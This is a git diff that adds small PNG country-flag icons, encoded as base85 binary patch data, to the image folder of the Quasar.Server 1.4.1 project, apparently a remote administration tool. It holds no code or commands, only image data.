zK*az7#L~(TO=a{vExMP2%`MCSoB^FIcLe_%lf;|~%E5I`(IQNh}3Ao>6Q|DFUXMn*>AqQd`w z|1kXd^B;tM|Njjl{{hM0zwd6?1Q0+hV1xeud-4=Wy?p-%sO`^#2S61Jzk!N?s)6X& zzhA%p|N6}=D+{y%Ab`Lc{sL9~1=0UN4*CD*7s%9KAf+JHKs~=eB-8KTKvw|-5R1&; zzd&a|ob(5%^Z$Q=wHy9p13+aOpFRNu5F>N&`Tk_-7w>=n{RejQzkfh&Kn{rf10?_b z{tFTZibx5v&dxav5I~H7|Ney-|DWN1$%1FyagzUW0464;_wU~W1Q5$TW@eGxtUvee z3vAf*8|igK9~@*rr66bh|NrkNM8z+V zAV?>O@ek;bKfu6d002F*|Nr~{=Pyu%qcHbB24G}l{PX7zKmY(S0M7peLS*D^UKK~y z+6(XH|9gD^r>6bY*OZ>+`2GX^{Qmv@{`~#_{QUm>{r(dW1b1xK0st`p&i@3&%J4-( z6Giy=|7vRh4-WrbUHx`??d0*<@CX3>{QLa=`~Cm?`~Ld;{u~zu0R89!i0SVi2B1U! z{r&fU#+3gbKmA|6l!@v8=U+^J{{8>`mjUR&KfnL~{sUtC1qTg400I5L26X!4i0my} zo;{uZo#CfPX{7DT1DwDAf(-fnkMZ|^ra%9I0mS$d6bftr0mQhUfkCOfiE zM%HqlKU{maemr>kAILSo!3gZ8-+$N@WcKe}3J^dnRtyZx@9+FOdynDWy$P0%j62V; zZC)?>`}hA}zy1SB2;@n0006p>>h67sJD!pI8@uK6+#GPW%ce@CEFZM znTD)%K!F4J_qpc@AQp(ZPk%rA2T{TB=kLG2fBygZ4O9eD_xsnsUl6u5yEM=SfB<5# z6|+@gR}o|u1R4pn+XF1YrQf2oylS zAbS3(sBkhcTmc9mV6grHN=r(zLW3F{=D&YK84x>x_WT70A}|U80*H};VI?9O(a}F7 e1_Utx1Q-B;QgQb4eH!Wj0000PEol7!5I{@}e;EG$`~Mq){{FvoV+so& z6Zek;JYV*``O13q$!wq?2!V|I&+z9TKmf4-@!$W9Km&lr1Ie!(IeUNcyZo#F`{&0p z?&{CqnEw9%50U)~((nf$fIu4l{AK07*qoM6N<$g2hARp#T5? literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/sn.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/sn.png new file mode 100755 index 0000000000000000000000000000000000000000..eabb71db4e8275a5bfb7b1b8f3a8374d50da95db GIT binary patch literal 532 zcmV+v0_**WP)6{xSen|M~Ox&!2yPfTn)={d@hr-#`EU4p90fz>J~+=oo+i0%`d3@9*!wzk#ZO z2WQUEDXOGe*gO;$t?-?1~^z5 zels!xNuY7SApXOk^arFAjDSu82p~p=WCoxfknArIdOZOgs+`19}IpFa%0{xSUi1L7diFBr+f01$veIX40Tgn<}np4MoMn3N`o$god9 zrkzn;+j{#q5F}xeh49xZuI$05IKi0v3Lq917Le*!UxBJYN`Vr8|1$jj50VD5fvSOw z-(ZF~46zx($8#~-kUKOh9u19TNY0I~dG z`1hBA5y<}g_y4cI3}({*g*gAq^Z#dL_#dnH|JmpNJMaAe2etv|3x;0|00G4G>kr86 zzYquf`+xk=e@^EAQat}9xc>97{@;He<|?3qzo3u+2q2a}APrzwf*tnl_y6c6m z5?7266~G|=0}2mdsDK;{bP_-SF*1~XW%vY(NDyK`u#uw~6h{mUJPZH<1^~BhckWKq{Jk|L6Yw|Nrm*vcLXk{sL#*k)f0!)jRF?KX6FHLLC_7zyJOQ#RJf}AnqSv4E_E0 z_d>^cfB<4-C}v>z1dGUDNRj#r9OZBkNc8hC00bBS^Nnc?6(4BA00000NkvXXu0mjf DM=x{`~^7feaw| z@9%GBrr%pd7ytr@3Fu&;D>$G0;d%9&ckUlP_FsJLznOpkI<);49~%fU|NOOg<1c>p zU%YI;<@gu?0tjRS1JJ?0e*b^_hvDg;|Nnpg`SWY#%HJzjff!!CzZWj}wP?w&U%!5b zMg95nhXEjfKpOu4{R2W=zZm2}8km@V1qJfIu3a z^ZvQT`ny}__wU`%Fad@Sg!~P3A(#OSI%WR9r+OFw0*K`e1H&7RKZ`vj#ee<&!}=E_ z2M*0Ye}N7Llfc;c2aF@2)L(`#3;+SdxR!w-xR`AxVx?>``QKoX4p z{r>$=Qj`^FFF*h>?mzuiS(feBuYdplGyMPm{~rVab^il$89+1;fd$yvm=2wM1rR`t zfB*hvWMl+7=|4yZ16bGpcem@l{$rO?srZisfXY67`UDU_ED+y9gdmKw*T0{<`x@v9 zlkZkl}Tegi}1FC>)y z`~`;fe+5al?K4jS1P}|@5C%z67NEr6KmWj?{{J^f1u*QH|Ne!BH7L;kfnp0FfEXE= rk23safJY>Z`~zeELt=n*00bBSq*!cC{}>3t00000NkvXXu0mjfg_GrH literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/sy.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/sy.png new file mode 100755 index 0000000000000000000000000000000000000000..f5ce30dcb79b443ebc1615fe4889cc26e2d762b1 GIT binary patch literal 422 zcmV;X0a^ZuP)@|4`Xj5kLT%`al?B=W5I`)SK7Qoo3V-qKd5l^# zgv$taFhBq?zJ2?apPwJU>mjm?jEr~g+yMw6Mj$IKE$!aDd%wZp7Z^YoAQH^_^XK=U zKYvwJR4!h;2oOM^VEz63kEEm|Pzoptl!JgjVAdZn_zMF-#Q*_BG6D!N0MDLEDh$KY Qwg3PC07*qoM6N<$f z|Nj36M1Mf!|33`>e*gaqWCO|HKwFtO#a&sZ0t5gt0M7pel4t!zdFAutyc%F2ByLSib7d z-@iY8{9s{WsjaVha_-{UlG^LGvEO)A^**!$6$1ni3ljqaFhGRYPy6$qf&JG{kKey{ z|N8ae_ixs}{}``bdDhkT?#VOp#VvoBm>H#|fo1~)5aY*A1~#Xrf1jTKgW~`H-wePI z{Ri~aZw6pM{r$!84-_k)u=@Ltg1)Cf2{xiF#iKZ95W~`fDE7~ z|1pDN1{?_>vH!pR*Zxoe2p~qo;+=0k{eVOy5dHe~@Bg1a48OqWACLsaJOfY!7)!uZ dz{3I%U;rfUVNTmRI(Yy9002ovPDHLkV1m_xKPvzL literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/tc.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/tc.png new file mode 100755 index 0000000000000000000000000000000000000000..8fc1156bec3389e54d3c5bb8339901773a881e68 GIT binary patch literal 624 zcmV-$0+0QPP)Mt z2Fbqp@bUfi_XiXZ_x%As_WHU2H1hfc9TM^w3-JC0{^0Bg`~MgK0Qv%mWs{6kqN+Cc z+b3Uc-enXLWmi^s_2~6APR{Qy8GilxQ)j#p({t5y7`^LQ4&lw9Z0Ra5^`SSP!?%<&3?fU!$2L%N9{QCa@0Qv%mW$D2m zA^~iFet$Uihac>@UpF6ozx?O#ufL4HfBpRUndtzp5U;>@#TUPR{|1KG4}bt-0)`aO z`@jDF|MM3p^6S^{zdwKf{q+mXVfa4fgq7?27ZxvH%|34Sm*EEk!#{ukVgYLS^A{)$ z3^fq>3urc&4I=;kz4MwgW4X`2zkh%J`Om=vauPrQ0X6*k{pY`=2p7%A_P)?P zUwuVdAkKe=-@h3}_C6p$AOxEwQo+UIeHT5%mg3lYGL;@HP(LjqG0$?6F}(Ht8A z0K*^*BsuTDFa|;zm9Mc;PRcq|KMMBO%8|{GkrU*a2x&r-3HS3`xnqW1|R~39RolBu`vAj19S<{HjoWK z4L}tj8-Qm20eTwfuYbROLyY(bwgDi3SQvf*HG+%>>H*pSauQI_zkmNAP67ugNCPlf z{{97O00g6G8FFbZ~XHln?_bqJeH^V)*lb;YTJ&0)m(r7ytqc06HRil3NF`RsaA107*qo IM6N<$g5!7R+W-In literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/tf.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/tf.png new file mode 100755 index 0000000000000000000000000000000000000000..80529a4361941e01d1def5d581bf2847cf99fef6 GIT binary patch literal 527 zcmV+q0`UEbP)KfiwinSYl|od6I(APxT+{=azr6>87_{|pZw{QvzM zh#vfW|M&NwU%!FG-`~IfN=xzq?EwhD!Wi2C0Dv&)|Bp?Zs+hPi0R-LQn75%cY-O8s zAPsw;Q!9X27=Hcx_y6DDzyCn0!4P6RP{Xg^fBpb%_yyDhbQs7f8-Qku33L4cS@IvK z8OZ(n2kOgTzyGb@ek0IRW9ouaN6$P0x*s5bfH4)06qlIj4>;1{Yyp4(0|4dQTo>gF RMrQy3002ovPDHLkV1fdR=hFZH literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/tg.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/tg.png new file mode 100755 index 0000000000000000000000000000000000000000..3aa00ad4dface0a9c23744ab451cec0443f187bf GIT binary patch literal 562 zcmV-20?qx2P)@|6mN}b_RwI3=Dr@=ogG+VE_mq7La^(HIVqv%*^=nCj$%1|9}7Uoj(8m`RC6+ zAo~61@1NiQe*Xrt|Nh=Ea}z)Sfi-Y&{FjhmFg0aZxaj}$=L~=U)(L)O`TP6-zu*7= z1Ib@N^zYwqCU)6YF9v`BVgi}{>lcH)J%gU!|J)p)>i@rg^Kt&>WCWsLoQyxgk29dnvBpN5vQb0*LYVQ3gi&tp7jnGyMMp z@*mKbe}4Uk_!#8f-w;8De}5R+mEP<>2M|CkH{LKvi2wQh{WmZi827ytqc0C8?ZF&p#S!~g&Q07*qoM6N<$g49|K A6951J literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/th.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/th.png new file mode 100755 index 0000000000000000000000000000000000000000..dd8ba91719ba641502bc7ffda16c25dc71b2066c GIT binary patch literal 452 zcmV;#0XzPQP)@|4`Xj5kLTn#2^O%5QJf({+!S7KyMr1NSdb0?wsyYS6cNVdko7wub89?$EL;)x)00Ic8;m6; z*ldXL$Yz5{poPB}7`^}m5DPc2nu@9r4=+1782$pC1a=$HjDKJ@i17#P6G=(#Q>V-T z0*LYF&!5c9%>VxV!xcCX0F(uW(%ZLh0Ro8SA3Hl!NeKhQjeq|#{05SL7=Ql;MhF4{ ujRQ&nZP~jQAb=RZqDCa1IEDa#00RK>mSUL#9?hx%0000(5Af|u+{y|g&!S9Ft%(8imf-XR*|Ns8{XO&`< ztN44b9;zJZ^?&~W0*LYB$B#TbJpUo){|D*(`>^x>w|gKB?9z<#wQ%E^n3(S0zYh>V zEO6uD3`W^f29Wmu3`mZF`w$?27#UO<(rVJ~y}I}N&+p%VfB*XP3y6U1Uw^?QNbuL6 zzrX+d{i`Cbal7Zfib@b53s27mx! mU=U|u;Adc9XCM*)1Q-C-v^a{iiydVE0000+lNu{Qmp=|FW6D0*D1<1Ovm9m%kYQ|7p*Yo3ikU z7~kiESLFZv{{Q#iA0zqwf4<*Xu-*CD8$MYncA&8U0mQ`ckKy0n|9}7f|MB&2MbDkQ z1j{KKBL!IA2(Z7F;(zkuBe#mo9TT;SzkoLU{s(jwKmai@{QdX$=kGt?etVi7(p9*e z(|o73K&5wiaQBkXEB9so{`tH8jIplb^d$ZPi5h|uLD4*o5RnOS|{Qd{@Cr~j!0D)}y0}8T#$FHit{lE#dc*g~k_utsL zxj&Wpto`+k?f2h5mv;mM4gK>M6!-uE1hnA~P_?8O+wWh(`!4wX{Cn2j=z=is`~Uxb zzx=@K_DcEUJ7IZAUZAu8{sn~+Kmai^Fsw$4O9qB73=GeJhA}V*Ffg!yW&gnt6F`6g Y0QOrYft$MNbN~PV07*qoM6N<$f;FEW z@b~ZkKS1)&|37~i{`~p>`}cn&^2?@800G1T)Nta$zvt>t<757@uK4@^{4bCmpb7~3 z1tfp{|Md&VW|Wov$G`v(Kp+kO{{26+>+jbuf7A2+upj>Wf7$Q%RxoV1$N0e}Fas1Q1BW)@@rKJa|xATBWA`D>(WW1JFHv zzy7cP0k+{MTm!^O009K@!>LoJmn~avX#S_9;5YZ-KmTX``u`YaHjD&?*dJiPF#rS* zNW;&cKP?=87yABYZ~OCq-%n(9P{tpi22h9t6$1niNQ1e-pD1xDrvBdy@BT2zfI@>2 zY$OAO1fsuxAqeOsfB<52Wnfst00RHO2+qJn5C9Nh04p0wT74^6IRF3v07*qoM6N<$ Ef~oTCkN^Mx literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/tm.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/tm.png new file mode 100755 index 0000000000000000000000000000000000000000..828020ecd0f6fc73348373c9e7a235fdced09de7 GIT binary patch literal 593 zcmV-X0VKiqu&g@GZ_kb&V31Gky(*8`UselaloV1SZ886W^4001!n&i@1e004Y* zk0R&!|NaLC5DIk$@CyeC@AU9ebDYiJ)zswL{Qdm<{`>p<{rmm%TMiuO{1voVt6d+$)WVk%^O){nwx0zkdJv^%rQ#Z=eQ%0Ac}Z`19}Y zkI%oqe*ekA`2WvehFzDBOo*xZ{rB(cQ`_&qdGhP`Z=jyvAOx}jAb?nae){+CFDvWc zZ(siLa{c@D=g;LQw^HX+sY@u`d-M3!$G1SGAWQ!Ifj9{ufLMTG0<_`#=U?|Ye)D|< z8pH7G?=PVA*@stt1I-4xpA0e#40jk9 f${7d%fB*vk3(!F(w2U8u00000NkvXXu0mjf+94t7 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/tn.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/tn.png new file mode 100755 index 0000000000000000000000000000000000000000..183cdd3dc98c6957bde83f375a431e543a3ce9e4 GIT binary patch literal 495 zcmV@|4`Xj5kLT%gT|L_r@28Q3iff@h;hzaCwplYy<4FCT9KXmB7 zhQ|Nt)Bg(#gN*m^{Qvt8$Of<_K(zn?!~}BDpT8hi0uj&>pxItt|NHv>A2{&e(C|Mm zFGw7s;m;qS=>P!)((wQ9AF!W(0sZ}7M&|#9_5TYB{zpfHZ20g2t^wjCfB*tH2_nSs z8?4R7=Kq6S{f9wP5^T(0hI#XVIvK%6GC)WrB}fdh6SO{nUiXv3iAlW}aH!uJM5J&?vILH{_iZHeP0c!XQ3PuJ7 zfB*t%VEX-sK~fTI%wL8-Af1e0BN-qh5dHlNK|sX-0mS$fH6j^sMDRaYQUC}r0RA0L U-~OCsp8x;=07*qoM6N<$f)6&Rz5oCK literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/tr.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/tr.png new file mode 100755 index 0000000000000000000000000000000000000000..be32f77e9910c0896c1ee8e7ed4f0edf815a517e GIT binary patch literal 492 zcmV@|4`Xj5kLT%yy% zCxE~j7#aURc>+`lQtjr(@bBOM9XtMi`UFz<>-YcPzyAOF1!ObI$^vZw2q2J#|6qeb zs-vSBOie-Rl$HN?bb!_U0_g#3VEFwTr~x2=m_Y6Zss`GqsL0^t^nd#F|4B*zH*EO- z_3QuT%m4H6g6)A?0#pkSKujPf{rCwIb#eU5`( z{s2t}2q2J#|9}60{Pg58FvR|AYlEDjruP5RC6KEgJ^H_IA4CJhNdN)F0>q49OBog~ z{?Etvzo-c07$As@{Qu?4|3!FoS~(Xu$ujuK&Ki|5;f$7pYF;Nfxh(xqFs zZUMDjzjMbfEbRY>5C0Dx`v3aP|JSeozj_5kj66I)?%V+g05Jg0{{w&k0RJ5w0P^!X zSy|WJ-R9=z(aMV97z{4myy=pj4$^bx3|zy{hYtY)h`Ao9!QA5iyLbPuTmkB_PfP?Vee~$j z!-o&gUAyj)n+wu&>J&%=KmU)%j{yP*q=CWA45Z=rFNTYkfO?!$Q_o+&{s0WlT)E;? zRQUhj|NkdWF!J+%fBF<4fS7B68jOwqzkLe|6QI@S&;S4b-#s()-1Y1C!Qjl5tA6F> zpisYc>&x@!00G2Y!@$5~Xb92(47=Z8{{bD%z~Ggi4>bPny?b}>+&OjWQc!g@0~6Et z-Maw-h`Ac5K~JB7o9jOp7XvpB0}lu>-nqlT$mpA&|LpDCZ{NOs`t<42?c44-IbZwx z0Rjj;B7x{N1H(%OhUW|nPgz+XA3Vr_1a9x%4G>@ep<^{rq?UTJ00000NkvXXu0mjf Doa;3l literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/tv.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/tv.png new file mode 100755 index 0000000000000000000000000000000000000000..28274c5fb40e5d3bacd7c05d9a1b8017eeaffa6c GIT binary patch literal 536 zcmV+z0_XjSP)mzpv3Mmw05Sgm{~xFtLc$sUu>nR##!sI<0R#{WMEdpj-yJ7j ze)|0V&%b{_!~X#7`1>EofS_N0|E)GoUH&SsFy}2m05O4F@}ffYb$qvjbfSUipMQUU zgY^9U_4m&&5D8KZ)HC5u^uad<48Q&W1P~L@hOIAb7eDp_T4W)^*Xg48{r4ZBJ-_}k z{QCPJq~Q-pPnz693xQJ%zkUG(5aZwHtqd&u|9`*u&+TyOvq{_Ghd=&6oB?#w{~Yv(xYPgr|NRH*haKioowt*& z{dC`3v>70P7=Ql!$;`|Q@(GT>fdHT^FqGcDeG3pkjNS|k>E&sEfzAeo{ckY&=g(gd z`CCrwmxA8!XLtTy-uM6CzrVnM%iVPzAb=R%ks=j>et^j`MFs;Wh8c4i)_^1XKP)u> a1Q-A&>r+tW$-Nl>0000<~s!0-E7R}a|Ns2?4|9|}gs%Dgx1=;`*KrBFO{{8#+``2Fv2B6@-@8AFY{`(K80jdYk13&NH4;SYnOGgJvc0I@K9VW@Vk1}Xmk4~YK$|NH0P z-@pI<0D+Rop8&DnA}oIvEc_iD{O9-Y-=|4+U?1uFgf@9*z_zyJRJ z%fS3QR^zuR^Y0tyerNXndi(YlP_?gzto2+5fB<3vIsj-gQ0X6_*?&Q*d^>boB3^zoi8Kq^tbl{qlR!{9jwQ|Nij< z=(=A?F~8j-MSe1{Hl8Yc@zaXo%Ljk}VgUvb(2HJbe?0kqy?_3vsPXrUmq2rWE6M!I zE@4*I;Mw}vw&7&iFGdC>zW)rr{s9CK3xfnhrsi*1wqMhx{@J=6sPgxpU%z6)f4fBr zzxpd#a3tyYE8}0lKnA+|-+zWbe*glA<)R0}-=}{Pnt#7~1q_Mb;=;f3i~oshNgsS> zIr~z~(_bRL|NZ|1LO_>;A_pLVSoBpHQd9nLa7ao@{lMMx#__lBLe9Cjx?EiU z71{s)`Oon8FXP|;z>s7BItd_v7-5mj(Adb}701wVj$!S*>kNN{fN~5FV)t0eYh-DxnQ(+0I@JIfmA>F`X8wD?>`2h#NWRRzyE`zA&Pzh5tt#% z!^rUCA3y+sZ1@LM1hf`pHc0ia|NsB|1uKPX0CRu;1-SztfLMSo`wOxir1}rsY$VlC z667idh7Sw?0mQ-}a!Q0#;n&}vAb0=!_Zy@WNd5!6=O2ju7s{65Vq=gx0uVrqe;+b1 z$mIY3|KLBvF9x7j{{!v#g_UGtQhI;<6hHv607H@yECdWlR7EJN!LomVp$!l~APvkQ z4p0cL2#YobhQA>6hXEjfKpL3-19eKmL_s!=;22W8vpXP)6RGKQPvx1q)UK1Q6rb{|u}Q zRsa7#{m<~1f#L7}|GzNK{&HxZVEKJ4>jAefr9{u_M=MTegAo-i2ynN}MJ5kZm z42KRel$J95{>|{~*Z<$Y8RdVo9Ap3pAeIsa2H!t_KmPs=bot-kKnMR0GBy2s>sC=w zQFmwO;@`jj{`v(%zkl=p`BTQg01!Yd{Xp;j{qx|@pI^U!0X_En_iwRd$6{h)tX8f( zaOhC?&!0e%U%!3phy1#1%V=eK#YHXK~n$!{#(ib5I~Gyfqpu4^P)1J@ZrOUii!$=0Ad7ci1(2A^!3kwFaT->5i7Ttz54h6XL$JkA3s3o z=g)t?e>01U3h&zo5I`(I-#Hr#t~u}$WXZu-Kyv1Rm&rE5wcB1YFI@@=0EYkn8G$4- z^Xb{M0Ro8S57@^*QJ}#<$Im$M^4iKw z00a=@`Sa(sw6y;I{R{T)e~6KA2AmBHF`#D(ii!XNh(#nN}rF)(}plRy9vU;su%e@J`J?dSji002ov JPDHLkV1n4Y8}|SJ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/us.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/us.png new file mode 100755 index 0000000000000000000000000000000000000000..10f451fe85c41c6c9a06d543a57114ae2f87ecc1 GIT binary patch literal 609 zcmV-n0-pVeP){qW|y?pud`Sa)3|NY&vWd%S0u>b>P!2!lUe;6EF*#G_c zFVXVt@6Q{uX@40W{p0iY2Aa+A^Cu7i8KT+YH}2j52q4BskM2rJ$^k9;2Xxc_|Np=M z&VaLlA*IO5FlECMfB<5VUNC{tBZO(|zW*;@GJN;|bTJ71`0*d;`d`2P!x=ymOA`2> z+y@9C##^^8%gd{MW@Y91_2d742B2~OQNf=-zkmD?Vqkdk_wPTUNeuu2#KPTG{_;O4 v7C%8E5*DLB7#Kb?Fnj}}-(W6879hX?8lYRg`Y`<~00000NkvXXu0mjfD6Jtx literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/uy.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/uy.png new file mode 100755 index 0000000000000000000000000000000000000000..31d948a067fe02d067a8c2e69f28cca446bc7c57 GIT binary patch literal 532 zcmV+v0_**WP)_vmzq~N}&z08z z0*LYY{pZr+B0$d}2MCnI@DC;m3N;oM#uMkR0R#{ugY)L9Y<*xj0QCR^`!^)W!R$Za z5CobHbl5+T3;%B|S`QFFjQ1Zt|MTw;G#Vi+hCg5i(ELAtfD|ak8UBG;ObiSF0R{lf Wla#5zB1?M!0000JMe1P}`Y1HZufM;3|NZsr4^XwNEI-g5fB<4iWtjhPj`qjL zFGT_P{{Q>;-(R370Ro7T!5$Ws$Po%5A+Zb!3j_cNFaSC{Z(fWD@s$7o002ovPDHLk FV1jsy^u+)G literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/va.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/va.png new file mode 100755 index 0000000000000000000000000000000000000000..b31eaf225d6fd770e0557c2baf8747c91ce88983 GIT binary patch literal 553 zcmV+^0@nSBP)|05Jg_ z#sD@3Z1&&(|Ni{{_Zx)%v%Gr!NnLzkb;C z@#QWhJ{xI9$+*)bNX$S?E90e{K^EMkYok78VXhR-hjM0*K`g z$j^Tmm_>oEVgxdn{xJOg$-v0L$jHRN$OsH@P9Y&+^ne@=1^@xXcy~X;zaPM$WdOPj ri2i^{AeYDB@IM9-1r;P))4B5XW#s0WPsWLbObPT z00IbN14#96puqp%TKvBf)PA*{`~CO-uM~~n%6z|m{re4Z55!3T0R+GV5`UO(`=kK4te?c|?1P~}#f$jmC10=!0@{8gBFK@Zu z-~WJALqveC|MTzfA7GIDVE_mqkOrW8BqZ2?K4D^#WMJTBVE7%b47BbKBg1c?EHl#| zW&XdQF#ikE01!Zo3=CVrargu%_x5NZPzVyc@Ms2-@*Gr#1lu5DU{kh6%sopXB}uDxAo`@Bt_a*7F+) z{Q{%kjEu5C8vp``Wse8Lf5q7h438n|z~nEOsZga5l7ZnjPy;{!05Jg0{{a91!FF~d z;^O)I`~dv>{`>s@o}L{E2?GEB|Mm6!N=n`P`~Ld+{`>p?A0G$7!M*~B3FM_eAU;q6 zNCH*w+4I@c^Ny?Q?QPpWZQiU1R1HBuWkA0H1P}`l|NYDG=gP=Ihyj(0CItil0R{kn^jdV2 S*Eqib00003_-&c2+@O*Bba;fM%rBo$$qwJnuekcf#0k*RG7MM`2+5Y7dK4k?R% z*@ue~6f;u_A~T0evP6qS=VxXnGS_mt>CSmS&gmG`kLSL)e_Vf_=c&!fKB7`4C;*C(7s2O*P zOs1$U0urzb3<=a`d9ABG4Q$eK<6~5Cg~V%B8`UqrfRSN8f&?QTVICs^VT=&p*?Eut zt4Ur&-BL_ON(Z|Xfgo93lf|gRkT$Mz-7^OQoD^XMF@}g>R?uoU0094KbXv)l?aF0E zh@GXQVr04m@05R(Rjxq*p|CCIRfv;QJmH1kf!hsqX*sha?_l;f%e5i5I~4YG#H4;6sPG2&U~bv( zNr`eMXGIX9?wP^zPQP(6+&$05Jg0{{;N}{t6CR|M}we`P%>f+X)5&j)Fc04NUj< zI`HZ2Woe@k6UF22`V|Qe2MTi(6bb?WF#yj00*Hv<{QLmnFd+P z9@fS%;@9^E|H1b5`Vk8^2@Yw;#}(}C_yUN9iGkt%y>Cxm>T2lO13mifZBc!n`jhHL z!MK>$6Z_d%|GfHMapIVnqod%T-`{|q1_&S~IR%b4Z+;63vi@iI?>jBz=eJjkjQ{>J z{QUQa@gMhBW_GSe5B=V~`@+h~@c%z3lmG&V@$K8U{QUg?|NjRX|KX9x@@rf{MxIY^ z?fG>3gQ&3ruaE-Yw>fW_PfAH~0~Or8dmA8tSRg?T(ZDLQOiOw%6RWM9%$i>kkAMHu z-oH0qLBYb*loP0ck&zJ?LI42-(g0BnBsn<*tTlsx%zxbLe*S!R<%*E3>|Z7(9Y#iG zpdch>0Ro8e`Sa&!arp;m4%k`<1H=Xjf<=G;Aix0Vb{`Xo7A9K&0000@|4`Xj5kLT%B_22*h{r-RE_y1qN|Ns8=|JN^|IHRmA&<212VgZ}|A4N4# z+WpUe-rxU^{Q|504bi~x`!`SnKmf4-F(Xhl(8fQ1fG+vp^85d{-~aW0|NsB{f9tRR zg1`PJA~XO^2M8drlm7gLxRT-bpa1p0|1bLmQVm3Azy5pw{{IQ;B%q-{(*XjA3FM@| zf53hMJK)W)|CK-uK=ku}!>|93eu7kk5yVLV0R(o^Z;+)RSAk6exg_KF|98LtFaPy_ z#c#OrKtum9FaQJ)NCPuC$bbfbRI>n`@$3IHusZAC|2cmD|MKhqAD{+Mr~sV<5I`Ue zOuzpyNJ@f@0s0=KlTj9AB*>SXe;D}wK*A7+fQkVEi190GMB<5K2mlB$03I1qT8uIj Q5C8xG07*qoM6N<$f}XY6qW}N^ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/vu.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/vu.png new file mode 100755 index 0000000000000000000000000000000000000000..b3397bc63d718b344e604266259134e653925c9d GIT binary patch literal 604 zcmV-i0;BzjP)7(YpZ_rO%ce~L0mQ<@*ghnz= zZvXM=_iyVze?clB=ogUu_5ar|Ae&KE_8$WSKmaiTHT?Vg|MaE5OE>+VAUAUr;?j4FCZIvLVX%uQ>mocOU*NTK^}%njy93_oP3+fBpUa=kKpye|`ZO zzyE?r`Mc+5Xcyo_v6>E-#|Nl{r(LkAS94bRQz)6 z1Oq?-fi&zp{`>yDUnV+0)eJF{zWfaN_0t9DjNiZhfxY|}ME?2z=O_CghC>Vh0R+AWw znBTkss=gWN$ME*Y`(NAt{QjkN;J}02MB(&;Kdc-80mKB<@b~YZKMV}g5wYSaSzrGC z<#lj=zkTD+H$ND}dANT6R9Lq3!_gzJFJEF25d}I4Ab>y`n3$OVE?Nk3?w(!me*OA# z|pNg&$Q z5()=&no#y6=Krof_F9Achf)A{nF9v;`|P8;$Q9J(&$2e@kA>cu?oN0tdr?p!r`I00M}SAs-l}3=F@( m=nn?tAB_7COfoP41Q-C;+8YpPdg;0V0000`!~0W%8&aG{{H+4 zRPp!M??1nPG5q=k)Wabw3seITKp+kO{xLwc{r>&$?_UrCGJgGL;^k4Qujka#`tk7L zjnovNAkb9+0R(gvNCCu>f4~1QF);xde}DY=^Xr#I=|`5hhp|NZyp>({@(egUPqbabS$v+tIbNu;L>xVSv%=>ggR z5I`*V_U`A@(fj`3!N1?XfHr^}17rYw{OcFcC69Z0BvMmfELgy8V88%&5l9HrLN(5b9xs8l&q^Gm-@&XkD1Q1BW|346ee?wJ+H2_`p`^l3V z+1Wtu|3AMO{`_T8Q2{Cj2q2bUARGR$NlJo(=nv2bFrDDw2U!bb{QV0-KNuJQ0*G-b s1H(6@xcrC2{sj~H2V-zBFaQJ?0G2^Lae{Q+uK)l507*qoM6N<$f;6K8u>b%7 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ws.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ws.png new file mode 100755 index 0000000000000000000000000000000000000000..c16950802ea95b40a4e024be6cce870b1991f40e GIT binary patch literal 476 zcmV<20VDp2P)>E69JA<-5ee*C|6>(%ey48MQ<`3*E1sOaY}WDP*a00a=wNxxYB{9yb2 zOU?HFZD2h;3gJl2w`NO~f5I`Ue%-|qnfGfh(_6MlpFT>xzKtBKk z5J&^l?>`KZl3-*0GW-GQWCR<@03m_s?_UT4Dh3E3#;>Rm$$$~H$WlN65MTgr(_Ikn S3@&c~0000KLZ*U+IBfRsybQWXdwQbLP>6pAqfylh#{fb6;Z(vMMVS~$e@S=j*ftg6;Uhf59&ghTmgWD0l;*T zI709Y^p6lP1rIRMx#05C~cW=H_Aw*bJ-5DT&Z2n+x)QHX^p z00esgV8|mQcmRZ%02D^@S3L16t`O%c004NIvOKvYIYoh62rY33S640`D9%Y2D-rV&neh&#Q1i z007~1e$oCcFS8neI|hJl{-P!B1ZZ9hpmq0)X0i`JwE&>$+E?>%_LC6RbVIkUx0b+_+BaR3cnT7Zv!AJxW zizFb)h!jyGOOZ85F;a?DAXP{m@;!0_IfqH8(HlgRxt7s3}k3K`kFu>>-2Q$QMFfPW!La{h336o>X zu_CMttHv6zR;&ZNiS=X8v3CR#fknUxHUxJ0uoBa_M6WNWeqIg~6QE69c9o#eyhGvpiOA@W-aonk<7r1(?fC{oI5N*U!4 zfg=2N-7=cNnjjOr{yriy6mMFgG#l 